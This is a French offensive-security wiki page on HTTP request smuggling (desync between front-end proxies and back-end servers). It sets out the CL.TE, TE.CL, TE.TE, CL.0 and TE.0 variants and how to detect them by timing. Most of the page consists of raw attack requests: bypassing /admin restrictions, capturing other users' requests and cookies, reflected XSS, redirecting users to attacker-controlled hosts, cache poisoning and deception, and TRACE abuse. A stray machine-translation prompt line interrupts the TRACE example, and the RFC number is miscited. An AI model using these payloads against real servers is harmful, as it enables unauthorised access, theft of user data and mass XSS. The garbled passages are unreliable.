HTTP Request Smuggling / HTTP Desync Attack

Reading time: 28 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Qu'est-ce que c'est

Cette vulnĂ©rabilitĂ© se produit lorsqu'une dĂ©synchronisation entre les proxies front-end et le serveur back-end permet Ă  un attaquant d'envoyer une requĂȘte HTTP qui sera interprĂ©tĂ©e comme une unique requĂȘte par les proxies front-end (Ă©quilibreur de charge/proxy inverse) et comme 2 requĂȘtes par le serveur back-end.
Cela permet Ă  un utilisateur de modifier la prochaine requĂȘte qui arrive au serveur back-end aprĂšs la sienne.

Théorie

RFC Specification (2161)

Si un message est reçu avec Ă  la fois un champ d'en-tĂȘte Transfer-Encoding et un champ d'en-tĂȘte Content-Length, ce dernier DOIT ĂȘtre ignorĂ©.

Content-Length

L'en-tĂȘte d'entitĂ© Content-Length indique la taille du corps de l'entitĂ©, en octets, envoyĂ©e au destinataire.

Transfer-Encoding: chunked

L'en-tĂȘte Transfer-Encoding spĂ©cifie la forme d'encodage utilisĂ©e pour transfĂ©rer en toute sĂ©curitĂ© le corps de la charge utile Ă  l'utilisateur.
Chunked signifie que de grandes données sont envoyées en une série de morceaux.

Réalité

Le Front-End (un Ă©quilibreur de charge / Proxy Inverse) traite l'en-tĂȘte content-length ou l'en-tĂȘte transfer-encoding et le serveur Back-end traite l'autre, provoquant une dĂ©synchronisation entre les 2 systĂšmes.
Cela pourrait ĂȘtre trĂšs critique car un attaquant pourra envoyer une requĂȘte au proxy inverse qui sera interprĂ©tĂ©e par le serveur back-end comme 2 requĂȘtes diffĂ©rentes. Le danger de cette technique rĂ©side dans le fait que le serveur back-end interprĂ©tera la 2Ăšme requĂȘte injectĂ©e comme si elle venait du prochain client et la vraie requĂȘte de ce client fera partie de la requĂȘte injectĂ©e.

Particularités

Rappelez-vous qu'en HTTP un caractÚre de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tĂȘte utilise un nombre dĂ©cimal pour indiquer le nombre d'octets du corps de la requĂȘte. Le corps est censĂ© se terminer par le dernier caractĂšre, une nouvelle ligne n'est pas nĂ©cessaire Ă  la fin de la requĂȘte.
  • Transfer-Encoding : Cet en-tĂȘte utilise dans le corps un nombre hexadĂ©cimal pour indiquer le nombre d'octets du prochain morceau. Le morceau doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptĂ©e par l'indicateur de longueur. Cette mĂ©thode de transfert doit se terminer par un morceau de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D'aprĂšs mon expĂ©rience, il est recommandĂ© d'utiliser Connection: keep-alive lors de la premiĂšre requĂȘte du request Smuggling.

Exemples de base

tip

Lors de l'exploitation de cela avec Burp Suite, désactivez Update Content-Length et Normalize HTTP/1 line endings dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés.

Les attaques de HTTP request smuggling sont Ă©laborĂ©es en envoyant des requĂȘtes ambiguĂ«s qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprĂštent les en-tĂȘtes Content-Length (CL) et Transfer-Encoding (TE). Ces attaques peuvent se manifester sous diffĂ©rentes formes, principalement comme CL.TE, TE.CL, et TE.TE. Chaque type reprĂ©sente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-tĂȘtes. Les vulnĂ©rabilitĂ©s proviennent du fait que les serveurs traitent la mĂȘme requĂȘte de diffĂ©rentes maniĂšres, entraĂźnant des rĂ©sultats inattendus et potentiellement malveillants.

Exemples de base des types de vulnérabilités

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

note

À la table prĂ©cĂ©dente, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.

Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)

  • Front-End (CL) : Traite la requĂȘte en fonction de l'en-tĂȘte Content-Length.

  • Back-End (TE) : Traite la requĂȘte en fonction de l'en-tĂȘte Transfer-Encoding.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte oĂč la valeur de l'en-tĂȘte Content-Length ne correspond pas Ă  la longueur rĂ©elle du contenu.

  • Le serveur front-end transmet l'intĂ©gralitĂ© de la requĂȘte au back-end, en fonction de la valeur de Content-Length.

  • Le serveur back-end traite la requĂȘte comme Ă©tant en morceaux en raison de l'en-tĂȘte Transfer-Encoding: chunked, interprĂ©tant les donnĂ©es restantes comme une requĂȘte sĂ©parĂ©e et subsĂ©quente.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)

  • Front-End (TE) : Traite la requĂȘte en fonction de l'en-tĂȘte Transfer-Encoding.

  • Back-End (CL) : Traite la requĂȘte en fonction de l'en-tĂȘte Content-Length.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte en morceaux oĂč la taille du morceau (7b) et la longueur rĂ©elle du contenu (Content-Length: 4) ne s'alignent pas.

  • Le serveur front-end, respectant Transfer-Encoding, transmet l'intĂ©gralitĂ© de la requĂȘte au back-end.

  • Le serveur back-end, respectant Content-Length, ne traite que la partie initiale de la requĂȘte (7b octets), laissant le reste comme partie d'une requĂȘte subsĂ©quente non intentionnelle.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnérabilité TE.TE (Transfer-Encoding utilisé par les deux, avec obfuscation)

  • Serveurs : Les deux prennent en charge Transfer-Encoding, mais l'un peut ĂȘtre trompĂ© pour l'ignorer via l'obfuscation.

  • ScĂ©nario d'attaque :

  • L'attaquant envoie une requĂȘte avec des en-tĂȘtes Transfer-Encoding obfusquĂ©s.

  • Selon quel serveur (front-end ou back-end) Ă©choue Ă  reconnaĂźtre l'obfuscation, une vulnĂ©rabilitĂ© CL.TE ou TE.CL peut ĂȘtre exploitĂ©e.

  • La partie non traitĂ©e de la requĂȘte, telle que vue par l'un des serveurs, devient partie d'une requĂȘte subsĂ©quente, entraĂźnant un smuggling.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End)

  • Les deux serveurs traitent la requĂȘte uniquement en fonction de l'en-tĂȘte Content-Length.
  • Ce scĂ©nario ne conduit gĂ©nĂ©ralement pas Ă  un smuggling, car il y a un alignement dans la façon dont les deux serveurs interprĂštent la longueur de la requĂȘte.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

Scénario CL.0

  • Fait rĂ©fĂ©rence aux scĂ©narios oĂč l'en-tĂȘte Content-Length est prĂ©sent et a une valeur autre que zĂ©ro, indiquant que le corps de la requĂȘte a du contenu. Le back-end ignore l'en-tĂȘte Content-Length (qui est traitĂ© comme 0), mais le front-end l'analyse.
  • C'est crucial pour comprendre et Ă©laborer des attaques de smuggling, car cela influence la façon dont les serveurs dĂ©terminent la fin d'une requĂȘte.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

Scénario TE.0

  • Comme le prĂ©cĂ©dent mais en utilisant TE
  • Technique reportĂ©e ici
  • Exemple :
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Casser le serveur web

Cette technique est Ă©galement utile dans des scĂ©narios oĂč il est possible de casser un serveur web tout en lisant les donnĂ©es HTTP initiales mais sans fermer la connexion. De cette maniĂšre, le corps de la requĂȘte HTTP sera considĂ©rĂ© comme la prochaine requĂȘte HTTP.

Par exemple, comme expliquĂ© dans cet article, dans Werkzeug, il Ă©tait possible d'envoyer certains caractĂšres Unicode et cela ferait casser le serveur. Cependant, si la connexion HTTP a Ă©tĂ© crĂ©Ă©e avec l'en-tĂȘte Connection: keep-alive, le corps de la requĂȘte ne sera pas lu et la connexion restera ouverte, donc le corps de la requĂȘte sera traitĂ© comme la prochaine requĂȘte HTTP.

Forcer via des en-tĂȘtes hop-by-hop

En abusant des en-tĂȘtes hop-by-hop, vous pourriez indiquer au proxy de supprimer l'en-tĂȘte Content-Length ou Transfer-Encoding afin qu'un HTTP request smuggling soit possible Ă  abuser.

Connection: Content-Length

Pour plus d'informations sur les en-tĂȘtes hop-by-hop, visitez :

hop-by-hop headers

Trouver des vulnérabilités de HTTP Request Smuggling

Identifier les vulnĂ©rabilitĂ©s de HTTP request smuggling peut souvent ĂȘtre rĂ©alisĂ© en utilisant des techniques de timing, qui reposent sur l'observation du temps qu'il faut au serveur pour rĂ©pondre Ă  des requĂȘtes manipulĂ©es. Ces techniques sont particuliĂšrement utiles pour dĂ©tecter les vulnĂ©rabilitĂ©s CL.TE et TE.CL. En plus de ces mĂ©thodes, il existe d'autres stratĂ©gies et outils qui peuvent ĂȘtre utilisĂ©s pour trouver de telles vulnĂ©rabilitĂ©s :

Trouver des vulnérabilités CL.TE en utilisant des techniques de timing

  • MĂ©thode :

  • Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera attendre le serveur back-end pour des donnĂ©es supplĂ©mentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation :

  • Le serveur front-end traite la requĂȘte en fonction de Content-Length et coupe le message prĂ©maturĂ©ment.

  • Le serveur back-end, s'attendant Ă  un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un dĂ©lai.

  • Indicateurs :

  • DĂ©lais d'attente ou longs dĂ©lais de rĂ©ponse.

  • RĂ©ception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations dĂ©taillĂ©es sur le serveur.

Trouver des vulnérabilités TE.CL en utilisant des techniques de timing

  • MĂ©thode :

  • Envoyer une requĂȘte qui, si l'application est vulnĂ©rable, fera attendre le serveur back-end pour des donnĂ©es supplĂ©mentaires.

  • Exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation :
  • Le serveur front-end traite la requĂȘte en fonction de Transfer-Encoding et transmet l'intĂ©gralitĂ© du message.
  • Le serveur back-end, s'attendant Ă  un message basĂ© sur Content-Length, attend des donnĂ©es supplĂ©mentaires qui n'arrivent jamais, provoquant un dĂ©lai.

Autres méthodes pour trouver des vulnérabilités

  • Analyse de rĂ©ponse diffĂ©rentielle :
  • Envoyer des versions lĂ©gĂšrement variĂ©es d'une requĂȘte et observer si les rĂ©ponses du serveur diffĂšrent de maniĂšre inattendue, indiquant une anomalie de parsing.
  • Utilisation d'outils automatisĂ©s :
  • Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnĂ©rabilitĂ©s en envoyant diverses formes de requĂȘtes ambiguĂ«s et en analysant les rĂ©ponses.
  • Tests de variance de Content-Length :
  • Envoyer des requĂȘtes avec des valeurs Content-Length variĂ©es qui ne correspondent pas Ă  la longueur rĂ©elle du contenu et observer comment le serveur gĂšre de tels dĂ©calages.
  • Tests de variance de Transfer-Encoding :
  • Envoyer des requĂȘtes avec des en-tĂȘtes Transfer-Encoding obfusquĂ©s ou malformĂ©s et surveiller comment les serveurs front-end et back-end rĂ©agissent diffĂ©remment Ă  de telles manipulations.

Test de vulnérabilité de HTTP Request Smuggling

AprĂšs avoir confirmĂ© l'efficacitĂ© des techniques de timing, il est crucial de vĂ©rifier si les requĂȘtes des clients peuvent ĂȘtre manipulĂ©es. Une mĂ©thode simple consiste Ă  tenter de polluer vos requĂȘtes, par exemple, en faisant en sorte qu'une requĂȘte Ă  / renvoie une rĂ©ponse 404. Les exemples CL.TE et TE.CL discutĂ©s prĂ©cĂ©demment dans Exemples de base dĂ©montrent comment empoisonner une requĂȘte client pour provoquer une rĂ©ponse 404, malgrĂ© le fait que le client vise Ă  accĂ©der Ă  une ressource diffĂ©rente.

Considérations clés

Lors du test des vulnĂ©rabilitĂ©s de request smuggling en interfĂ©rant avec d'autres requĂȘtes, gardez Ă  l'esprit :

  • Connexions rĂ©seau distinctes : Les requĂȘtes "d'attaque" et "normales" doivent ĂȘtre envoyĂ©es sur des connexions rĂ©seau sĂ©parĂ©es. Utiliser la mĂȘme connexion pour les deux ne valide pas la prĂ©sence de la vulnĂ©rabilitĂ©.
  • URL et paramĂštres cohĂ©rents : Visez Ă  utiliser des URL et des noms de paramĂštres identiques pour les deux requĂȘtes. Les applications modernes acheminent souvent les requĂȘtes vers des serveurs back-end spĂ©cifiques en fonction de l'URL et des paramĂštres. Les faire correspondre augmente la probabilitĂ© que les deux requĂȘtes soient traitĂ©es par le mĂȘme serveur, condition prĂ©alable Ă  une attaque rĂ©ussie.
  • Conditions de timing et de course : La requĂȘte "normale", destinĂ©e Ă  dĂ©tecter l'interfĂ©rence de la requĂȘte "d'attaque", est en concurrence avec d'autres requĂȘtes d'application concurrentes. Par consĂ©quent, envoyez la requĂȘte "normale" immĂ©diatement aprĂšs la requĂȘte "d'attaque". Les applications chargĂ©es peuvent nĂ©cessiter plusieurs essais pour une confirmation concluante de la vulnĂ©rabilitĂ©.
  • DĂ©fis d'Ă©quilibrage de charge : Les serveurs front-end agissant comme des Ă©quilibreurs de charge peuvent distribuer les requĂȘtes sur divers systĂšmes back-end. Si les requĂȘtes "d'attaque" et "normales" se retrouvent sur des systĂšmes diffĂ©rents, l'attaque Ă©chouera. Cet aspect d'Ă©quilibrage de charge peut nĂ©cessiter plusieurs tentatives pour confirmer une vulnĂ©rabilitĂ©.
  • Impact utilisateur non intentionnel : Si votre attaque impacte involontairement la requĂȘte d'un autre utilisateur (pas la requĂȘte "normale" que vous avez envoyĂ©e pour la dĂ©tection), cela indique que votre attaque a influencĂ© un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nĂ©cessitant une approche prudente.

Abuser de HTTP Request Smuggling

Contourner la sécurité front-end via HTTP Request Smuggling

Parfois, les proxys front-end appliquent des mesures de sĂ©curitĂ©, scrutant les requĂȘtes entrantes. Cependant, ces mesures peuvent ĂȘtre contournĂ©es en exploitant le HTTP Request Smuggling, permettant un accĂšs non autorisĂ© Ă  des points de terminaison restreints. Par exemple, accĂ©der Ă  /admin pourrait ĂȘtre interdit de l'extĂ©rieur, le proxy front-end bloquant activement de telles tentatives. NĂ©anmoins, ce proxy peut nĂ©gliger d'inspecter les requĂȘtes intĂ©grĂ©es dans une requĂȘte HTTP smuggled, laissant une faille pour contourner ces restrictions.

ConsidĂ©rez les exemples suivants illustrant comment le HTTP Request Smuggling peut ĂȘtre utilisĂ© pour contourner les contrĂŽles de sĂ©curitĂ© front-end, ciblant spĂ©cifiquement le chemin /admin qui est gĂ©nĂ©ralement protĂ©gĂ© par le proxy front-end :

Exemple CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l'attaque CL.TE, l'en-tĂȘte Content-Length est utilisĂ© pour la requĂȘte initiale, tandis que la requĂȘte intĂ©grĂ©e suivante utilise l'en-tĂȘte Transfer-Encoding: chunked. Le proxy frontal traite la requĂȘte POST initiale mais ne parvient pas Ă  inspecter la requĂȘte intĂ©grĂ©e GET /admin, permettant un accĂšs non autorisĂ© au chemin /admin.

TE.CL Exemple

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Inverse, dans l'attaque TE.CL, la requĂȘte POST initiale utilise Transfer-Encoding: chunked, et la requĂȘte intĂ©grĂ©e suivante est traitĂ©e en fonction de l'en-tĂȘte Content-Length. Comme dans l'attaque CL.TE, le proxy frontal ignore la requĂȘte GET /admin dissimulĂ©e, accordant involontairement l'accĂšs au chemin restreint /admin.

RĂ©vĂ©lation de la rĂ©Ă©criture des requĂȘtes front-end

Les applications utilisent souvent un serveur frontal pour modifier les requĂȘtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste Ă  ajouter des en-tĂȘtes, tels que X-Forwarded-For: <IP du client>, pour relayer l'IP du client au back-end. Comprendre ces modifications peut ĂȘtre crucial, car cela pourrait rĂ©vĂ©ler des moyens de contourner les protections ou dĂ©couvrir des informations ou des points de terminaison dissimulĂ©s.

Pour enquĂȘter sur la façon dont un proxy modifie une requĂȘte, localisez un paramĂštre POST que le back-end renvoie dans la rĂ©ponse. Ensuite, Ă©laborez une requĂȘte, en utilisant ce paramĂštre en dernier, similaire Ă  ce qui suit :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants de requĂȘte suivants sont ajoutĂ©s aprĂšs search=, qui est le paramĂštre reflĂ©tĂ© dans la rĂ©ponse. Ce reflet exposera les en-tĂȘtes de la requĂȘte suivante.

Il est important d'aligner l'en-tĂȘte Content-Length de la requĂȘte imbriquĂ©e avec la longueur rĂ©elle du contenu. Il est conseillĂ© de commencer avec une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les donnĂ©es reflĂ©tĂ©es, tandis qu'une valeur trop Ă©levĂ©e peut provoquer une erreur dans la requĂȘte.

Cette technique est Ă©galement applicable dans le contexte d'une vulnĂ©rabilitĂ© TE.CL, mais la requĂȘte doit se terminer par search=\r\n0. IndĂ©pendamment des caractĂšres de nouvelle ligne, les valeurs seront ajoutĂ©es au paramĂštre de recherche.

Cette mĂ©thode sert principalement Ă  comprendre les modifications de requĂȘte effectuĂ©es par le proxy frontal, rĂ©alisant essentiellement une enquĂȘte autodirigĂ©e.

Capturer les requĂȘtes d'autres utilisateurs

Il est possible de capturer les requĂȘtes de l'utilisateur suivant en ajoutant une requĂȘte spĂ©cifique comme valeur d'un paramĂštre lors d'une opĂ©ration POST. Voici comment cela peut ĂȘtre accompli :

En ajoutant la requĂȘte suivante comme valeur d'un paramĂštre, vous pouvez stocker la requĂȘte du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Dans ce scĂ©nario, le paramĂštre de commentaire est destinĂ© Ă  stocker le contenu dans la section des commentaires d'un post sur une page accessible au public. Par consĂ©quent, le contenu de la requĂȘte suivante apparaĂźtra comme un commentaire.

Cependant, cette technique a des limitations. En gĂ©nĂ©ral, elle capture les donnĂ©es uniquement jusqu'au dĂ©limiteur de paramĂštre utilisĂ© dans la requĂȘte contrefaite. Pour les soumissions de formulaires encodĂ©es en URL, ce dĂ©limiteur est le caractĂšre &. Cela signifie que le contenu capturĂ© de la requĂȘte de l'utilisateur victime s'arrĂȘtera au premier &, qui peut mĂȘme faire partie de la chaĂźne de requĂȘte.

De plus, il convient de noter que cette approche est Ă©galement viable avec une vulnĂ©rabilitĂ© TE.CL. Dans de tels cas, la requĂȘte doit se terminer par search=\r\n0. IndĂ©pendamment des caractĂšres de nouvelle ligne, les valeurs seront ajoutĂ©es au paramĂštre de recherche.

Utiliser le HTTP request smuggling pour exploiter le XSS réfléchi

Le HTTP Request Smuggling peut ĂȘtre utilisĂ© pour exploiter des pages web vulnĂ©rables au XSS rĂ©flĂ©chi, offrant des avantages significatifs :

  • L'interaction avec les utilisateurs cibles n'est pas requise.
  • Permet l'exploitation du XSS dans des parties de la requĂȘte qui sont normalement inaccessibles, comme les en-tĂȘtes de requĂȘte HTTP.

Dans les scĂ©narios oĂč un site web est susceptible au XSS rĂ©flĂ©chi via l'en-tĂȘte User-Agent, la charge utile suivante dĂ©montre comment exploiter cette vulnĂ©rabilitĂ© :

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité en :

  1. Initiant une requĂȘte POST, apparemment typique, avec un en-tĂȘte Transfer-Encoding: chunked pour indiquer le dĂ©but du smuggling.
  2. Suivant avec un 0, marquant la fin du corps du message chunked.
  3. Ensuite, une requĂȘte GET smuggled est introduite, oĂč l'en-tĂȘte User-Agent est injectĂ© avec un script, <script>alert(1)</script>, dĂ©clenchant le XSS lorsque le serveur traite cette requĂȘte subsĂ©quente.

En manipulant le User-Agent par le smuggling, le payload contourne les contraintes normales de requĂȘte, exploitant ainsi la vulnĂ©rabilitĂ© XSS rĂ©flĂ©chie de maniĂšre non standard mais efficace.

HTTP/0.9

caution

Dans le cas oĂč le contenu de l'utilisateur est rĂ©flĂ©chi dans une rĂ©ponse avec un Content-type tel que text/plain, empĂȘchant l'exĂ©cution du XSS. Si le serveur prend en charge HTTP/0.9, il pourrait ĂȘtre possible de contourner cela !

La version HTTP/0.9 Ă©tait antĂ©rieure Ă  la 1.0 et utilise uniquement des verbes GET et ne rĂ©pond pas avec des en-tĂȘtes, juste le corps.

Dans ce writeup, cela a Ă©tĂ© abusĂ© avec un smuggling de requĂȘte et un point de terminaison vulnĂ©rable qui rĂ©pondra avec l'entrĂ©e de l'utilisateur pour smuggler une requĂȘte avec HTTP/0.9. Le paramĂštre qui sera rĂ©flĂ©chi dans la rĂ©ponse contenait une rĂ©ponse HTTP/1.1 factice (avec en-tĂȘtes et corps) afin que la rĂ©ponse contienne un code JS exĂ©cutable valide avec un Content-Type de text/html.

Exploiter les redirections sur site avec le HTTP Request Smuggling

Les applications redirigent souvent d'une URL Ă  une autre en utilisant le nom d'hĂŽte de l'en-tĂȘte Host dans l'URL de redirection. Cela est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique Ă  la fin entraĂźne une redirection pour inclure la barre oblique :

GET /home HTTP/1.1
Host: normal-website.com

RĂ©sultats dans :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que cela puisse sembler inoffensif, ce comportement peut ĂȘtre manipulĂ© en utilisant le HTTP request smuggling pour rediriger les utilisateurs vers un site externe. Par exemple :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requĂȘte dissimulĂ©e pourrait entraĂźner la redirection de la prochaine requĂȘte utilisateur traitĂ©e vers un site web contrĂŽlĂ© par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

RĂ©sultats dans :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en servant un JavaScript malveillant en réponse.

Exploitation de la contamination du cache Web via le HTTP Request Smuggling

La contamination du cache Web peut ĂȘtre exĂ©cutĂ©e si un composant de l'infrastructure front-end met en cache du contenu, gĂ©nĂ©ralement pour amĂ©liorer les performances. En manipulant la rĂ©ponse du serveur, il est possible de contaminer le cache.

Auparavant, nous avons observĂ© comment les rĂ©ponses du serveur pouvaient ĂȘtre modifiĂ©es pour renvoyer une erreur 404 (voir Exemples de base). De mĂȘme, il est possible de tromper le serveur pour qu'il dĂ©livre le contenu de /index.html en rĂ©ponse Ă  une demande pour /static/include.js. Par consĂ©quent, le contenu de /static/include.js est remplacĂ© dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, ce qui peut potentiellement conduire Ă  une DĂ©ni de Service (DoS).

Cette technique devient particuliĂšrement puissante si une vulnĂ©rabilitĂ© de redirection ouverte est dĂ©couverte ou s'il y a une redirection sur site vers une redirection ouverte. De telles vulnĂ©rabilitĂ©s peuvent ĂȘtre exploitĂ©es pour remplacer le contenu mis en cache de /static/include.js par un script sous le contrĂŽle de l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) Ă  grande Ă©chelle contre tous les clients demandant le /static/include.js mis Ă  jour.

Voici une illustration de l'exploitation de la contamination du cache combinée avec une redirection sur site vers une redirection ouverte. L'objectif est de modifier le contenu du cache de /static/include.js pour servir du code JavaScript contrÎlé par l'attaquant :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Notez la requĂȘte intĂ©grĂ©e ciblant /post/next?postId=3. Cette requĂȘte sera redirigĂ©e vers /post?postId=4, utilisant la valeur de l'en-tĂȘte Host pour dĂ©terminer le domaine. En modifiant l'en-tĂȘte Host, l'attaquant peut rediriger la requĂȘte vers son domaine (redirection sur site vers redirection ouverte).

AprĂšs un empoisonnement de socket rĂ©ussi, une requĂȘte GET pour /static/include.js doit ĂȘtre initiĂ©e. Cette requĂȘte sera contaminĂ©e par la prĂ©cĂ©dente requĂȘte redirection sur site vers redirection ouverte et rĂ©cupĂ©rera le contenu du script contrĂŽlĂ© par l'attaquant.

Par la suite, toute requĂȘte pour /static/include.js servira le contenu mis en cache du script de l'attaquant, lançant ainsi une large attaque XSS.

Utiliser le smuggling de requĂȘtes HTTP pour effectuer une tromperie de cache web

Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?

  • Dans l'empoisonnement de cache web, l'attaquant amĂšne l'application Ă  stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache Ă  d'autres utilisateurs de l'application.
  • Dans la tromperie de cache web, l'attaquant amĂšne l'application Ă  stocker un contenu sensible appartenant Ă  un autre utilisateur dans le cache, et l'attaquant rĂ©cupĂšre ensuite ce contenu depuis le cache.

L'attaquant crĂ©e une requĂȘte smuggled qui rĂ©cupĂšre un contenu sensible spĂ©cifique Ă  l'utilisateur. ConsidĂ©rez l'exemple suivant :

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requĂȘte de contournement empoisonne une entrĂ©e de cache destinĂ©e Ă  du contenu statique (par exemple, /someimage.png), les donnĂ©es sensibles de la victime provenant de /private/messages pourraient ĂȘtre mises en cache sous l'entrĂ©e de cache du contenu statique. Par consĂ©quent, l'attaquant pourrait potentiellement rĂ©cupĂ©rer ces donnĂ©es sensibles mises en cache.

Abus de TRACE via HTTP Request Smuggling

Dans cet article, il est suggĂ©rĂ© que si le serveur a la mĂ©thode TRACE activĂ©e, il pourrait ĂȘtre possible de l'abuser avec un HTTP Request Smuggling. Cela est dĂ» au fait que cette mĂ©thode reflĂ©tera tout en-tĂȘte envoyĂ© au serveur dans le corps de la rĂ©ponse. Par exemple :

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Please provide the text you would like me to translate.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

